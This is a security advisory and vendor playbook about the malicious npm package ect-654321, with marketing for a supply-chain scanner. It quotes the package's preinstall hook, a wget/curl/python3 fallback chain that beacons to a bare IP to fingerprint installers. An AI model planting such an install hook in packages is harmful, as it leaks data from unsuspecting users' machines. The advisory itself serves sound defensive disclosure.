ect-654321npm
ect-654321 is a confirmed malicious npm package (MAL-2026-5719) that opens a backdoor for remote access (malicious versions 100.0.0, 100.0.1, 100.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in ect-654321 (npm)
What this malware does
ect-654321 contains only a package.json with a preinstall lifecycle hook that unconditionally executes wget http://10.107.121.85:8000/callback_wget_654321 || curl http://10.107.121.85:8000/callback_curl_654321 || python3 -c...urlopen('http://10.107.121.85:8000/callback_py_654321') on npm install. The destination is a bare RFC1918 IP on plain HTTP with no documented purpose, and the callback path embeds the package version as a probe identifier. The package ships no library code, no main entry, and an empty author field with description 'Probe', so the only effect of installing it is the outbound beacon. This shape — empty placeholder package + version-numbered callback path + bare-IP HTTP fetch in preinstall — is a dependency-confusion / namespace-probing payload that confirms reachability of the installer's network to the operator and leaks the installer's source IP, DNS resolver, and host identity. The triple-fallback (wget/curl/python3) ensures the beacon fires across diverse install environments. Whether published as red-team research or real attack tooling, the install-time behavior is identical and harmful to any installer that pulls the package.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
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Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ect-654321 (7 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ect-654321 across your stack and pipelines.
If you installed it — respond
ect-654321 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If ect-654321 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ect-654321 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
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Detect & block this
O3 blocks ect-654321-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.